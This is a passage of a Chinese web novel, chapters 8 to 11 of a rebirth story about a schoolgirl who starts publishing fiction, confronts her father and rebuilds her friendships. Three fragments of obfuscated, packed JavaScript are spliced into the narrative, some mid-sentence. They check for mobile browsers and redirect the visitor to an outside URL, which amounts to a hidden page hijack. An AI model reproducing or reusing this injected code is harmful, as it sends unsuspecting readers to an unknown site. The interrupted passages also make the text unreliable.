程茉回头，就对上了徐逸的目光，而后男孩对她青涩地笑了一下，又迅速低下了头。 8. 第 8 章 程茉曾经向徐逸借过很多次试卷。 但她从来都不是为了去分析那些自己做不出来的难题，是如何被他轻而易举地解出。 程茉只是一遍遍地欣赏着那些漂亮的字迹，想象着徐逸在考场上写下它们时的样子。 而现在，被借试卷的人换成程茉了。 如果是上一世的程茉，一定会把徐逸的动作在心底进行无数次解读，试图找出他在意自己的蛛丝马迹，再将那张纸条作为证据夹进笔记本精心保存。 想到上辈子回老家后整理自己的物品时翻出的那些泛黄的本子，程茉忍不住在心里轻笑。 将纸条随手放进桌边挂着的塑料垃圾袋，程茉整理了一下自己已经订正好的试卷，递给后面的周若玥让她帮忙传给徐逸。 接过试卷的周若玥挑了挑眉，又小声问程茉，等徐逸看完可不可以让她也看看。程茉自然点头同意。 试卷在接下来的两天里又不断转手到其他人那，直到周五放学前才终于又回到程茉手里。 “小茉茉，这个周末要一起去书店看书吗？”正在整理假期作业的程茉忽然被梁晴从背后抱住肩膀，手下的笔跟着在纸上划出长长的一道。 程茉叹了口气，看着梁晴：“这个周末我姐姐要回来，所以没时间出门了哦。” “啊？可是我们好久没有一起去看书了耶。”梁晴有些失望，似乎又想到什么，语气里带着一丝兴奋接着道，“我上周还发现了一本新的网王小说，主角是你最喜欢的不二哦，真的不要去看吗？” 梁晴是资深的小说爱好者，每月都在镇上的书店里办着借读卡。程茉还记得自己第一次陪姐姐去借书就在那里见到了蹲在角落看小说看得入迷的梁晴，也是从那以后，两人之间的关系开始变得亲密起来。 梁晴会经常跟程茉分享自己看过的小说，两人也会时不时一起约着去书店待上一整个下午。 虽然程茉对当时流行的大部分小说都不太感兴趣，但丰富多样的文学杂志也能让程茉消磨许多时光，尤其是和好朋友一起。 “等下周吧，到时我带上我姐的借书卡。”程茉想起书店里似乎还有不少无人问津的教辅资料，或许里面可以挑出适合自己的练练手的。 从这次的考试来看，乡镇学校的试题还是太简单了一些，但中考是要和市里所有的学生去竞争，她还是得早做准备，多练习一些难题。 “好哦，那下周六下午一点书店见，别忘记啦！” 周六，早早醒来的程茉正坐在餐桌前准备喝粥，就听到楼下传来了熟悉的喊声，“小茉，快下来帮忙！” 程茉连忙放下碗跑了下去，果然看见了门口站着拎着大包小包、气喘吁吁的程兰。程茉接过程兰手里最大的一看就装着电脑主机的袋子，也不觉得重，吭哧吭哧地扛着跑回了楼上。 很快，这台二手电脑就在她的书桌上落户了。程兰大致教了程茉怎么使用后，就放手出去和母亲聊天了，留下程茉一个人在房间捣鼓。 程莉在旁边凑热闹看了好一会，发现没什么意思，又赶紧去翻大姐带回来的零食了。 中午吃饭时，程茉被三请四请之后，直到终于迎来了母亲的怒火，才舍得放下键盘离开房间。起身前她看了一眼屏幕左下角的字数，已到了六千多字。 看来还是太久没碰电脑了，手速都慢下来了。想她上辈子一个小时三千字也是没有问题的，何况这还是在有底稿的情况下呢。 “你打字挺快呀！”正在吃饭的程兰突然夸了句，“刚刚我去看了一眼，噼里啪啦的。” “学校信息课练的。”程茉嘻嘻笑了下，找了个借口。 “写的怎么样啦？等会我可以看一下吗？” 程兰自己也是个小说迷，上次看了程茉的大纲后就挺感兴趣，自然也很好奇她的作品完成后会是什么样子。 程茉没什么意见，她也想看一看，自己现在写的内容是否能吸引这个时代的小说受众。 于是吃完饭，两个人就一起窝回了房间，只留下程莉一个人一脸怨念地进厨房洗碗。 程兰看得很认真，程茉就坐在一边，继续在本子上整理自己的手稿和大纲，丝毫不知道程兰内心的惊涛骇浪。 上次看了大纲之后，程兰就已经觉得这个故事非常精彩了。但那个时候因为只是故事梗概，平铺直叙的情节描写并没让她发现妹妹的文采。 程兰之前大概也知道程茉的语文成绩还不错，作文从小学起就常常被老师作为范文在班上朗读。但她只当这是“矮个子里拔高个”，毕竟她曾经读过一两篇妹妹被夸的作文，字里行间多少带着点小孩子的稚嫩，还有堆砌辞藻的毛病。 可这才过去一两年，眼前这篇小说的水平，已经和她平时借来的出版小说相差不大了。且不说故事发展不同于现如今流行的伤痛文学和虐文，光是这行云流水，半点不生硬的文笔，就完全可以尝试走职业写作的路子了。 “可以啊小茉，你进步很大呀！写的真不错，后面还有吗？”程兰放下鼠标，转头看向程茉，眼里满是惊喜。 程茉也开心地笑了，把手里的笔记本递给她，又点开那个熟悉的绿色网站，抬头跟姐姐说：“那姐姐，你觉得我可以把它发表出去吗？” “当然可以啊，你打算怎么操作？” 程茉指着屏幕上的页面说：“我之前已经查过了，我想想在这个网站上发表。不过未成年人要签约的话，后面可能需要借助姐姐你的身份作为监护人哦。” “没问题的，你到时跟我说怎么弄。” 在程兰的帮助下，程茉快速地注册好账号，认证了作者身份。上传好编辑后的文案后，她点击发布，成功上传了小说的前两章。 上辈子，程茉工作后也曾尝试在网上写过小说。那是她第一次写小说，对数据自然无比关注，一天要刷新网页无数次，就为了看看有没有新增的点击和收藏。可后来数据一直没起来，她被打击得没了动力，只写了三万多字就断更了。 有了前车之鉴，程茉不打算再被数据影响。发布完第一章后，她立马退出了网站，继续投入到码字中。程兰看她专注的样子，没有再打扰，而是轻手轻脚走出房间，找母亲商议起来。 听了程兰说程茉小小年纪就在写作上很有天赋，母亲苏萍既无法理解，也不太相信：“我没读过什么书，我只知道不能影响学习。” 一旁坐着咔嚓咔嚓吃得正欢的程莉突然插了一嘴：“二姐学习挺好的呀！我看她这次月考考了好几个一百分呢！” 苏萍顿时惊讶地问道：“啊？什么时候月考了？她怎么都没有说过？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535889|186549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “就是这个星期呀！”程莉连忙回答，“我昨天晚上看到她的试卷了，全部都是九十分以上，还有两三个一百分，你们自己去问她好了！” 程兰见状，连忙帮程茉说话：“妈，你看小茉她自己心里都有数的，你们就不用担心啦，让她自己去试一下吧。” 苏萍愣了愣，想起程茉这段时间每天回家除了做家务就是写作业，连电视都没再碰过。她张了张嘴，最终只是放轻声音道：“学习什么的我都不懂，等你爸回来看他怎么说吧。” 想起曾经因为看小说这事三天两头数落自己的父亲，程兰也有些头疼。但她很快定了定神说：“没事，我会去跟爸说的。” 因为程兰的回来，今天的晚餐格外的丰盛，难得的三菜一汤，程莉吃得狼吞虎咽，脸上还沾着几粒米饭。 程兰笑着帮她擦了下脸：“慢点吃，下午吃那么多零食还没吃饱呢？” “太好吃了，大姐你可不可以每天都回来啊？”程莉扒完最后一口饭，放下碗摸着自己圆滚滚的肚子兴奋地问。 “你在家乖乖的，我就经常回来。”程兰被她可爱的样子逗乐，笑着哄道。 程莉不满地嘟起了嘴：“我每天都很乖啊，不信你问二姐。” “嗯，比之前乖多了，就是作业不那么马虎就更好了。”程茉郑重其事地点头。 “那是题目太狡猾了！”程莉有点心虚，小声抱怨。 “所以你要更加细心啊，这样，你这次期中考试拿个100分，大姐就送你一个芭比娃娃好不好？” 听到这话，程莉立马瞪大了眼睛，激动地跳了起来：“真的吗？要是两个100呢？” “那就让你再挑一个礼物。” 程莉的欢呼还没出口，就被程林生打断：“你别惯着她，学习是她自己的事情。有那点钱你不如都存起来，以后她们两个上学学费也少不了。还有你妈说你还买了台电脑回来是吧，学习新技术是好事，就怕她们两个管不住自己光拿来玩了。” “小莉你去写作业吧，努力考双百哦。”程兰朝小妹眨了眨眼安抚她，又对父亲道：“没多少钱。小茉小莉学习上都是自觉的，肯定不用我们担心。” 说着，程兰又看向程茉：“小茉，听说你这次月考考得不错啊？” 被点到的程茉愣了一下，猜到是妹妹说出来的，点了点头回答：“嗯，班级并列第一，全校并列第三。” 程林生手里的碗顿了一下，抬头看向程茉：“真的？这次试卷比较简单？你可别骄傲啊，一次考好不算什么，长期保持可不容易。” “小茉真厉害！”程兰连忙大声夸奖。 程林生又开始感叹：“所以我平时才要占着电视机啊，就是为了你们能专心学习，你看这不看电视成绩也上来了。我说小兰你那电脑拿回来也得控制好，别反而害了她们。” 听到父亲把她的成绩又归功于他自己，程茉忍不住冷笑了一声。 程茉永远忘不了，上一世他在姐姐的婚礼上是如何对着姐夫一家人，大肆吹嘘自己的挫折教育有多成功，才塑造了姐姐坚韧的性格和如今的成功，全然不顾姐姐和其他人的尴尬。 他永远都是这样。 但程茉，却绝不会再让自己成为那个只能缩在角落任他描述的苍白角色了。 9. 第 9 章 “不看电视是因为我在写小说没时间。”程茉控制着自己，语气平静地陈述，“写小说也没耽误我考第一。” 空气陷入了一片死寂的凝滞，所有人都诧异地看向程茉。 好一会儿，程兰先反应过来，笑着道：“是啊，小茉这么聪明，只要想学肯定没问题的。写小说也是对语文学习很有好处的啊。” “什么小说？”程林生放下碗，“我不是说过让你别胡思乱想闭门造车吗？你要想写就去村里多看看多问问，有的是让你写的素材。你按我说的，去写写村里那些没有子女赡养每天捡垃圾的老人，早就可以去正经投稿获奖了。” “爸，这是两回事，网络小说现在也很有市场的……”程兰无奈地试图解释。 “你想写就自己去写啊？你这么厉害就应该自己去投稿获奖，让我写做什么？”程茉没有避开他的视线，一字一句地问道。 程林生是上过大学的，在他那个年代，大学生还是非常有含金量的，更不用说他念的还是当时十分吃香的建筑专业。 只不过他只上了一年就因为和老师吵架自己退学了，之后就是结婚生子到处打工。 而他曾经的那些同学，如今各个事业有成收入丰厚。 程林生年轻时也喜欢文学，爱看书，对写作很有自己的想法，所以从小学起，他就经常指导程茉写作。 程茉那些风花雪月的矫情文字常常被程林生贬得一文不值，他恨铁不成钢地要求程茉去观察社会，去写能反映社会现象的正经文学。 但程茉写不出来。 程林生盯着程茉，目光里满是难以置信和愤怒交织，他抬手指了程茉好一会儿，嘴巴张张合合。最终他无力地放下手，连带抛出的怒吼里也只剩下了虚张声势：“你行，你厉害，我没本事教不了你。我倒要看看你能搞出什么名堂来。” “好了好了，就让小茉试试看嘛，反正写不好也不会怎么样。”程兰连忙打圆场，“不过小茉，我们也说好了，还是要保证学习优先的啊，绝对不能掉出班级前五噢。” “随便你们爱怎样怎样，养女儿养女儿，养出一群白眼狼。”程林生重重地放下碗筷，起身下楼去了。 程茉平复好自己的情绪，对姐姐点了点头。 晚上，程兰将程莉哄到她的房间去睡，自己则和程茉两个挤在了一张床上。 程兰想劝点什么，却又不知从何开口。最终她只是建议程茉除了在网站上连载长篇小说之外，也可以试试看给杂志投稿，毕竟这个能更快看到成果和收益。 程茉想了想觉得确实可行，便答应了。 黑夜中，姐妹两个又陷入一片沉默。 好一会儿，程茉开口轻声问道：“姐姐，你小的时候有恨过吗？” 长长的的叹息后，是程兰有些哽咽的声音：“怎么会没有呢。你知道吗，我小的时候和你一样，也很怕鬼的，可是后来爸爸发现之后，就每次在我害怕不敢出去的时候打我，我就发现鬼好像也没有那么可怕，至少，鬼不会打人啊。” 说到这，程兰忍不住自嘲地笑了一声。 “十二岁的时候，爸妈为了生小莉去了G省，把几岁的你留下来让我一个人带，我那时却还挺开心，因为终于没有人管我了。” “但是小茉啊，我现在已经让自己不恨了，因为我要放过我自己。” 程茉的眼泪顺着脸颊流到了耳朵，她努力忍着不抬手去擦，而后，她的头被一只温柔的手轻轻揉了揉。 “你也是啊，小茉，你要放过你自己，努力过好你自己的人生。” 程茉翻身紧紧抱住姐姐，将头埋进被子，带着鼻音重重地“嗯”了一声。 第二天程茉并没能如计划般继续投身码字大业，因为程兰拉着她和程莉去镇上逛街了。 程兰自然注意到了程茉形象上的变化，青春期的少女开始发育了，也会爱美了，忙于生计的父母肯定是不会在意的，但淋过雨的程兰却想为妹妹撑一把伞。 听到要去买衣服，程茉又想起上辈子她曾在日记里倾诉自己面对每天穿着漂亮衣服的林然然时的自卑，而后日记被姐姐看到了，她也是像今天这样，将程茉拉去了镇上，买了两身衣服。 已经搜索过整个服装市场的程茉对买衣服早就彻底失去了兴趣，最终只在姐姐的坚持下买了两件换洗的小背心，程莉也是一样。 “长大了眼光也变高了呢，等我去省里挑两件下次带回来给你啊。”程兰笑着调侃。 或许是受昨晚情绪的影响，又或许是因为姐姐下午就要离开，程茉一整天都感觉眼睛酸酸的，她低头踢着马路地面散落的碎石，轻声道：“不用这么麻烦，姐姐你自己多买点好吃的。” “不用担心我，偷偷告诉你，我这个学期拿到了一等奖学金，再加上兼职赚的钱，我现在可是个小富婆呢。”程兰拍了拍程茉的肩膀，轻快地说道。 程茉还没回应，程莉立马激动地拉住程兰的手，喊道：“真的吗？大姐真厉害！可以给我买一个糖葫芦吗？求你了大姐！” “好，给你买，一人买一根！不过小莉你可不许说出去啊！” “放心吧大姐，我绝对不告诉爸妈！” 送程兰坐车回省城后，程茉的生活又回归了学习和码字的单调模式。 在线上小说的存稿稳定更新的同时，程茉也开始思考杂志投稿的方向与内容。 家里有几本从村长家农村书屋借来的儿童文学和青少年杂志，程茉也正好比较擅长成长和情感类的记叙文及散文，因此她很快选定了几本适合的刊物，仔细研究了上面刊登的征稿要求和同类型文章，开始了第一个短篇写作。 “程茉，下个月要进行黑板报评比，你提前准备一下，早点画好，主题是五四青年节哈。” 正埋头书写的程茉突然被班主任扔下了一个任务，她这才想起自己这时候还担任着班上的美术课代表。 程茉其实并没学过画画，她只是很擅长模仿，所以她可以轻松复制电视剧里的漂亮衣服，也可以在美术课上高分临摹老师展示的例图。 但要程茉自己创作就不太行了，她没有任何的绘画技巧，人体结构，阴影构图，全都一窍不通。 程茉回头看了眼后面的黑板，上面彩色的粉笔插画很是稚嫩，框架也不太协调，依稀能认出是自己的手笔，工整漂亮的粉笔字则出自徐逸和林然然。 徐逸和林然然算是7班公认的“金童玉女”，两个人一个是团支书，一个是学习委员，都写得一手好字，有着优秀的成绩和良好的外形，一向都是各位老师的宠儿。 两人又是小学同学，关系也比旁人更好一些。 自然而然地，上辈子的程茉就将林然然当成了自己的“假想情敌”。 林然然拥有她向往的一切，其中最令程茉羡慕的，是她优渥的家境和大方的性格。 在程茉还在捡姐姐和亲戚的旧衣服穿时，林然然身上穿着的，是每天不重样的商场里上百的服装。 在程茉一面对老师和男生就支支吾吾说不清话时，林然然可以自如得体地和所有人交谈。 其实程茉很欣赏林然然，她的性格，她的文采，她的气质，都对程茉有着极大的吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535890|186549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 引力，但因为自卑和对徐逸的情愫，程茉在面对她时总是有种别扭的疏离感。 直到程茉在大二那年与徐逸分手之后，忽然惊喜地收到了林然然特地寄来的生日礼物，两人才展开了一次深入交谈，彻底解开了心结，真正成为了朋友。 唯一的遗憾就是因为程茉去了离家很远的城市工作，两人再未见过一面。 那么这一次，这段友情也许可以早一点开始，走得更久一点。 程茉在课桌里翻找了一下，果然找到了几个漂亮的彩页笔记本，从中挑了一本水墨江南风格的出来。 也多亏了程茉有记日记的习惯，很喜欢收藏漂亮本子。 拿着笔记本走到林然然座位前，程茉轻声询问：“林然然，这次黑板报可以继续麻烦你帮忙负责文字部分吗？” 程茉的字不算好看，即便是重生回来，也只能算是工整，与从小练过的徐逸和林然然自然是没法比的。 林然然有些诧异，毕竟以前程茉都是只拜托徐逸的，然后徐逸会来找她一起分担，但她还是立刻应道：“当然可以啊，要写什么你跟我说就行。” “太好了，谢谢你！这个本子送给你，你不是上周生日吗，算是迟来的生日礼物。”程茉将本子递给林然然，果然看到了她脸上露出了惊喜的表情。 “好漂亮！谢谢你程茉！” 两个女孩相似一笑，一切阴霾便都烟消云散。 “程茉，我们这周去拍大头贴吧！”正在写纸条跟梁晴确认这周六书店约会的程茉耳边又传来了方慧慧新的邀约。 “大头贴”这个带有时代特色的词不禁又勾起了程茉关于上一世的记忆。 这个时期的学生之间还很流行互送大头贴，同学录上也会专门留有贴大头贴的位置，程茉上一世就去拍过好几次。 其实也不算很贵，几块钱就能选十来个背景。程茉后来在工作的城市商场里也有看到那种可以自助拍大头贴的机器，兴致勃勃地去尝试了下，结果大失所望，贵了好几倍就算了，拍出来也完全不是一个感觉。 虽然很是有点向往，但程茉也没忘记自己已经有约了。 “不好意思啊，这周我和梁晴约好了去书店来着。” “书店？是镇上那家可以租书的书店吗？”方慧慧想了想又继续央求道，“我记得它和照大头贴的地方离得不远，我们可以一起去嘛！求你啦，就让我为我们最后的同桌时光留下一点纪念吧！” 程茉被她可怜巴巴的样子逗笑，回她：“那我问下梁晴。” 很快，梁晴的纸条从后排传了回来，说到要一起照大头贴她显然很是激动，直接打算取消书店看书环节。 但还打算去找一找教辅资料的程茉自然没有同意，三个人还是约好了一起先在书店汇合，然后再去照大头贴。 回到家程茉就立马翻出自己积攒的零花钱，数了数还有二十三块，还好，应该能支付明天的消费。又翻箱倒柜找第二天要穿的衣服，最终挑出了一件简单的白色棉布裙，是姐姐淘汰下来的，但并不算过时。 程茉难得的有了要和朋友出去玩的期待心情，以至于这天晚上翻来覆去好一会儿才睡着。 第二天程茉又起了个大早，利用上午的时间完成了今日的小说存稿任务，又工工整整地在信纸上誊抄好了之前完成的短篇，小心地装进信封封好。 吃过午饭之后，程茉快速给自己编了个侧麻花辫，这个时候她的发量还完全不用费心扯蓬松遮掩，自然卷又为她增添了一丝俏皮感。程茉满意地看了眼镜子里青春洋溢的少女，揣着信封和零花钱出门了。 10. 第 10 章 四月的天气不冷不热，但加上去邮局寄信连续走了快一个小时的路，程茉的额头上还是沁出了些许汗珠。 “小茉茉！这里！”刚到书店门口，梁晴的声音就已经响起，随后是一个大大的拥抱，“我的天，小茉茉你今天也太漂亮了吧，这要是让某人看到不得被迷死！” “嗯？”程茉捕捉到了奇怪的信息，疑惑地看着她。 梁晴愣了一下又很快笑着说：“哈哈，我是说我要被你迷死啦！” 见她跳过这话题，程茉也没放在心上，猜测大概又是在拿徐逸开她玩笑吧。程茉也已经习惯了，人总要为自己曾经的行为买单的。 “程茉，快喝点汽水，瞧你都出汗了。” 一旁的方慧慧递过来一瓶橙汁饮料，程茉也没多客气，道过谢便接了过来。 擦了汗喝了饮料，程茉也终于缓过来了，心情颇好地打量起这个几十年不见的小店。 店面并不算大，除了好几书柜的各类书籍之外，还有两个货架摆放着一些文具，上一世的程茉就很爱在这里淘一些漂亮的笔记本。 曾经在文具店淘到一本好看的本子就像淘到宝藏一样令人开心，但长大后有了各种各样的网购渠道之后，明明可以更轻易地买到自己喜欢的物品，程茉却再没挑选过本子了。 因为那时的程茉已不再写日记，即便偶尔需要记笔记也不会再想用那些花里胡哨的彩页本了。 程茉的目光只在文具区停留了一瞬，便径直走向堆放教辅资料的货架，开始翻阅挑选。 “天哪，小茉茉你也太用功了吧，出来玩还要看试卷！”梁晴无语，自己跑去找小说看了。 方慧慧则在文具区细细挑选着。 最终程茉选了一本数学培优试卷和八上的物理基础练习，便去柜台结账了，方慧慧也跟着过来为手里挑好的文具付了钱。 随后两人去叫上正看小说看得入迷的梁晴，等她办理好借书手续，三个人便手挽着手往更远一些的拍大头贴的店走去。 其实这本质上也是一家文具店，只是在里间放了一台可以拍照的机器而已。 三人说明来意后，老板便从柜台后搬出好几本厚厚的相册一样的大本子，里面便是背景图，每一张小图下面都有一串编号。 在门口的大木桌前坐下，三人一人拿了一本开始挑选，有中意的就将编号抄在老板提供的白纸上。 女孩们头挨头挤在一起，时不时小声讨论着哪张好看。 梁晴挑了一堆黑白带非主流语录的背景，方慧慧则更喜欢梦幻公主风的，程茉翻来翻去只觉得眼花缭乱，最终还是按自己审美写了几张简单清新些的。 最终每个人定了三张单人照，和八张合照，就将选好的编号抄在一起交给老板了，接着等老板输入编号调好机器就行。 机器放在一个小小的隔间里，四周围着遮光的幕布，老板简单指导了一下如何操作后，就将空间留给她们了。 程茉其实还挺爱拍照的，但并不太会摆造型，一开始还是习惯性地比剪刀手歪头笑。 但梁晴怎么可能放过她，等到合照环节就立马上下其手，拉着她一起搞怪，逗她笑得龇牙咧嘴，留下了好几张张牙舞爪的合照。 三个人一边拍一边删，玩得不亦乐乎，直到老板来催了才终于狠心选定最喜欢的二十张留下。随后老板快速将照片打印出来，复制了六份，每人两张，一张光面一张磨砂。 “我们把各自的独照分一下吧，留一份作纪念就行了，这样大家要送人也方便。”程茉看着手里的两份照片提议道。 梁晴和方慧慧都没有意见，于是三人又坐下来开始分照片。 “哈哈，程茉你这张好可爱啊！”方慧慧指着一张梁晴和程茉的双人合照大笑，照片里的程茉左边脸颊被梁晴捏起，一脸无奈地瞪着对方。 程茉也忍不住跟着笑了起来，小小的照片里定格着女孩子们恣意张扬的青春，仿佛带着无限的感染力。 “小茉茉你可真狡猾，每一张都这么美还有没有天理啊，不行，你下次一定得拍两张做鬼脸的！”梁晴将手上的大头贴一一排开，气呼呼地盯着照片里的程茉嚷道。 穿着白裙的女孩安静地笑着，麻花辫松散地垂在耳后，露出光洁白皙的小脸，分明是稚嫩的少女模样，眼睛里却仿佛藏着一汪沉静的海洋，深邃得令人忍不住想要陷落进去。 梁晴看向身边的好友，她总觉得程茉身上有一种跟同龄人完全不同的气质，是令人忍不住想要靠近的安心感，又偏偏带着超脱人群之外的淡漠疏离。 莫名地令梁晴想到她看过的那些小说里的女主，于是自认早熟的梁晴便单方面地将她视作同类，另一方面又忍不住带着点骑士精神般地，想要让她笑起来，生动起来。 “但是大家都很漂亮又可爱啊。”程茉拿起一张三人合照，指着照片里左拥右抱噘嘴试图亲亲的梁晴和羞涩捂嘴笑的方慧慧。 梁晴也很喜欢这张合照，但又不想轻易放过程茉，最后只是别扭地说：“哼哼，你在旁边笑眯眯看热闹的样子还真有几分不二的腹黑感了呢。” 说到不二，程茉忽然想起上一世，毕业许多年后，她和梁晴也渐渐不再联系。某一天，程茉刷到了网王的新翻拍剧，忽然就无比想念当年那个迷恋网王的，每个周六下午和她一起看书一起讨论的女孩。 程茉还记得梁晴喜欢手冢，她喜欢不二，她们还会模仿着角色的性格和动作一起偷偷“cosplay”。 于是程茉找到了静静躺在列表里的梁晴，主动给她发了消息，她们聊了许多，回忆了很多初中时光的快乐。但很可惜，程茉还停留在原地不断想回头望，梁晴却已经迈步向前走出很远了。 所有人都在往前走。长大的梁晴也劝程茉多向前看。 而现在的梁晴，还是那个依然沉迷在小说和网王世界的少女。 程茉看着她，忽然开口问道：“梁晴，你觉得网王会完结吗？” “啊？”梁晴愣了一下，随后迟疑着回答，“会的吧……所有的故事都会有结局的不是吗？” “嗯……也许不会，也许这个故事忽然就开始烂尾了呢？” “我才不管，至少现在很精彩就够了！”梁晴又咬牙切齿地接道，“不过许斐要是敢乱画，我就给他寄刀片！” 程茉看着她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535891|186549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恶狠狠地样子，噗嗤笑了出来，“嗯，我和你一起。” “还有我还有我，虽然我不看网王，但我一定会支持你们的！”方慧慧连忙举手加入。 夕阳西下，女孩们的身影被拉得长长的，随着欢声笑语渐渐远去。 “程茉！好呀，你去拍大头贴竟然不叫我！”周一早读一下课，程茉就被陈晓萱抓住摇晃着质问，“我还是不是你最好的闺蜜了！” 程茉被她摇得头晕，连忙告饶：“我错了，下次一定和你一起！” “哼！这还差不多！快拿出来给我挑一张最好看的！”一想到昨天晚自习梁晴拿着大头贴在后面炫耀的样子，陈晓萱就忍不住来气。 程茉无奈地找出照片，递给陈晓萱让她挑选。 陈晓萱一张张翻看着，又忽然凑到程茉耳边小声问：“那你还要送给徐逸一张吗？” “不送，你忘了我的话啦？” “没忘没忘，我不是再确认一下嘛！” 注意到这边热闹的周若玥和林然然也凑了过来：“程茉，别忘了我们的啊！” 于是，程茉的那几张单人照很快就散发出去了一大半，当然她们也承诺等自己拍了一定会回送程茉的。 换照片的欢乐还没蔓延两天，班主任就在数学课上先抛下了一个重磅炸弹。 五一放假前将进行期中考试，只剩下一个多星期的复习时间了。 而程茉这天回到家，也得知了程莉期中考试双百分的喜讯。 小学的期中考试要更早一些，程莉这段时间也是真的认真了许多，不仅减少了看电视时间，还时不时拿着作业来问程茉，看来程兰承诺的礼物她是真的很想要。 所以，成绩一出来，程莉就立马兴高采烈地通知了家里每一个人，又缠着母亲立即给大姐打电话。 “小莉这次考得不错，要表扬。”程林生在饭桌上难得的带着笑肯定了程莉的成绩，又转向程茉：“这段时间你怎么用电脑我是都没管过，就等着看你这次期中成绩了。你要是掉出前五，以后电脑也就别用了。” 结果还没出来，程茉也懒得跟他进行无意义的争执，起身把碗放到厨房水槽，留下一句“我吃好了，先去写作业了。”就进房间了。 “你看看她这样子，你也不管管！这种性格也不知道像谁，以后出社会谁还惯着她！”没有得到回应的程林生只能将火气转而发到苏萍身上。 “赶紧吃你的饭，少说两句吧，等成绩出来她自己知道怎么办的。”苏萍不耐烦地回了他一句，开始收拾桌子。 回到房间的程茉翻开桌上那套已写了一大半的数学试卷，翻到新的一页开始继续刷题。 对于即将到来的期中考试，程茉并不太担心，不出意外的话应该还是学校老师自己出卷，那么题目就不可能太难。这段时间程茉各科的基础都已经打得很扎实了，即便是数学的压轴题也基本能达到90%的正确率。 一张试卷做完，程茉翻到后面的参考答案一一核对，最后看着整面的红√露出了一个轻松的笑来。 程茉为期中考试认真做着最后的查漏补缺，却不想，有一封回信比考试更先到来。 11. 第 11 章 程茉将写好的短篇寄出去的时候，地址填的是学校。 一方面投搞的杂志本身就在向中学生征稿，学生身份会更容易过稿。另一方面，也实在是程茉家在村里，信不会送上门，只会送到村长那，增加一些不必要的议论和麻烦。 于是，这天程茉就被班主任叫出去了。 黄仁将信封递给她：“程茉，这里有一封你的信。” 程茉伸手接过，道了谢正要回教室，一旁的朱建华笑眯眯地凑了上来：“程茉啊，我看信封上印着《致少年》杂志社，你是给他们投稿了吗？” “啊？是的……”程茉有点奇怪，但还是点了点头。 “拆开来看看啊，老师也很好奇结果嘛！”朱建华的眼睛黏在信封上，仿佛不看到里面的内容誓不罢休。 语文老师一向对程茉照顾颇多，课堂上也从不吝啬对她的表扬和夸赞，程茉至今始终保持着对文学的热爱，也多多少少与他有些关系。 想了想也没什么不能被知道的，程茉便释然地拆开了信封。 里面只有一张薄薄的回信，但上面的消息对于在场的人而言却如惊天喜讯。 上面说程茉的短篇投稿《风吹过七月》拟被录用，预计下月刊登，到时会邮寄汇款单和样刊过来。 “哈哈哈果然！我就说程茉你是有灵气的！”朱建华抚掌大笑，将信纸拿过去看了又看。 “真的吗？要被刊登在杂志上了？是我们班的程茉？快让我看一眼！”黄仁激动地伸手要去抢。 程茉看着两位老师，心底的喜悦也跟着一起冒了出来。 回教室的路上，程茉感觉自己脚下轻飘飘的，仿佛踩着一朵云。那云载着她越飞越高，云的下方是她从未见过的美丽风景。 “黄老师叫你去干嘛？”方慧慧见她回来，好奇地问了一句。 程茉朝她露出一个灿烂的笑容：“一个好消息，但现在还不能告诉你。” 方慧慧见她笑得开心，便跟着笑起来，也没继续追问，转而提醒程茉：“考号贴出来了，你记得去抄一下哦。” 期中考试和月考就在本班考不太一样，所有人都需要按照考号去到不同的考场，至于考场的安排，则跟上次期末考试的成绩息息相关。 程茉去后面看了一眼，在便利贴上工工整整地抄好了自己的考号。 这次程茉的考场在702班，和她一个考场的还有林然然，梁晴，和另外两个男生。 程茉提前和林然然，梁晴三人约好了一起走，所以考试当天林然然早早地就过来叫她了：“程茉，我们走吧，你笔和尺子都带好了吧？” “嗯，我叫下梁晴。”程茉向后面望去，梁晴正和几个男生一起说着话。 梁晴个子很高，留着到肩膀的短发，有点类似后来流行的鲻鱼头。她担任着体育委员，加上表面大大咧咧的性格，和班上不少男生都能称兄道弟。 程茉怕她听不见，便走过去叫她：“梁晴，我们可以走了。” “这么快啊。“梁晴拿上东西准备起身，忽然停了下来，转而对程茉问道：“对了，茉茉，你有没有多余的尺子，李颂他忘带了。” “我找一下哈。”程茉打开自己手上的袋子开始翻找。 一旁的李颂连忙摆手：“我……我没关系的，也不一定用到。” “刚好有一个多的，给你。”程茉将找出来的一个三角板递给他，又看向梁晴，“走吧？” 梁晴便笑着挽上程茉的胳膊，两人和林然然一起往教室外走去，身后隐约传来男生们嬉闹的打趣声。 考试时间安排得很紧，因为两天之内就要考完七门，还要留出充足的进考场时间。 即便是每天都在刷题的程茉，考完最后一场出来时也觉得有些累。 到底是期中考试，相比月考，程茉明显感觉题目还是难了不少，尤其是数学，程茉自觉估计要扣好几分了。 